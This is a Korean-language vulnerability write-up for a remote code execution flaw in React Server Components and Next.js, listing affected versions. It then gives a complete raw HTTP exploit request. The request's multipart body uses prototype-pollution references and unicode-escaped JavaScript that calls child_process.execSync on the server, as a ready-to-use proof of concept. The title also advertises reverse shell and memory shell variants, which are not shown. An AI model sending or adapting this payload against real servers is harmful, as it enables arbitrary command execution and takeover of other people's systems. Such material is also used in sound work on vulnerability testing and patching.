
CVE-2025-55182(명령 실행, 리버스 셸, 메모리 말 주입)
React Server Components 원격 코드 실행 취약점(CVE-2025-55182) 및 Next.js 원격 코드 실행 취약점(CVE-2025-66478)입니다. 이 취약점은 주로 react-server-dom-webpack의 Server Actions 기능에 영향을 미칩니다. 클라이언트가 제출한 양식을 파싱할 때 보안 검증이 부족하여, 공격자는 악성 양식 요청을 구성하여 Node.js 내장 모듈을 직접 호출하고 서버에서 임의의 시스템 명령을 실행하고 임의의 파일을 읽고 쓸 수 있으며, 심지어 서비스를 완전히 장악할 수 있습니다. 또한 Next.js 15.x 및 16.x 버전이 App Router를 사용할 때 결함이 있는 React 서버 측 DOM 패키지에 의존하기 때문에 공격자가 악성 코드를 주입하여 원격으로 명령을 실행할 수도 있습니다.
React 영향 버전 == 19.0.0
React 영향 버전 == 19.0.1
React 영향 버전 == 19.1.0
React 영향 버전 == 19.2.0
react-server-dom-webpack 패키지 영향 버전 == 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel 패키지 영향 버전 == 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack 패키지 영향 버전 == 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.2.0
Next.js 영향 버전 >= 14.3.0-canary.77
Next.js 15.0.0 <= 영향 버전 < 15.0.5
Next.js 15.1.0 <= 영향 버전 < 15.1.9
Next.js 15.2.0 <= 영향 버전 < 15.2.6
Next.js 15.3.0 <= 영향 버전 < 15.3.6
Next.js 15.4.0 <= 영향 버전 < 15.4.8
Next.js 15.5.0 <= 영향 버전 < 15.5.7
Next.js 16.0.0 <= 영향 버전 < 16.0.7
Dify 1.1.2 <= 영향 버전 < 1.10.1-fix.1
POST /c9436a490867 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Length: 1755
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=c1dda57f91fbe592e349f3cee2598d970a8089d499e0d896d10cf19752613ddd
Next-Action: x
Connection: close
--c1dda57f91fbe592e349f3cee2598d970a8089d499e0d896d10cf19752613ddd
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"\u0074\u0072\u0079\u0020\u007b\u0020\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u0020\u003d\u0020\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u002e\u006d\u0061\u0069\u006e\u004d\u006f\u0064\u0075\u006c\u0065\u002e\u0072\u0065\u0071\u0075\u0069\u0072\u0065\u0028\u0027\u0063\u0068\u0069\u006c\u0064\u005f\u0070\u0072\u006f\u0063\u0065\u0073\u0073\u0027\u0029\u002e\u0065\u0078\u0065\u0063\u0053\u0079\u006e\u0063\u0028\u0027\u0065\u0063\u0068\u006f\u0020\u0051\u0041\u0058\u004e\u0042\u0031\u0032\u0031\u0033\u0038\u0027\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0027\u0062\u0061\u0073\u0065\u0036\u0034\u0027\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0028\u0065\u0029\u0020\u007b\u0020\u0076\u0061\u0072\u0020\u0072\u0065\u0073\u0020\u003d\u0020\u0027\u0045\u0052\u0052\u004f\u0052\u0027\u003b\u0020\u007d\u0020\u0074\u0068\u0072\u006f\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u002e\u0061\u0073\u0073\u0069\u0067\u006e\u0028\u006e\u0065\u0077\u0020\u0045\u0072\u0072\u006f\u0072\u0028\u0027\u0078\u0027\u0029\u002c\u007b\u0064\u0069\u0067\u0065\u0073\u0074\u003a\u0072\u0065\u0073\u007d\u0029\u003b","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
--c1dda57f91fbe592e349f3cee2598d970a8089d499e0d896d10cf19752613ddd
Content-Disposition: form-data; name="1"
"$@0"
--c1dda57f91fbe592e349f3cee2598d970a8089d499e0d896d10cf19752613ddd
Content-Disposition: form-data; name="2"
[]
--c1dda57f91fbe592e349f3cee2598d970a8089d499e0d896d10cf19752613ddd--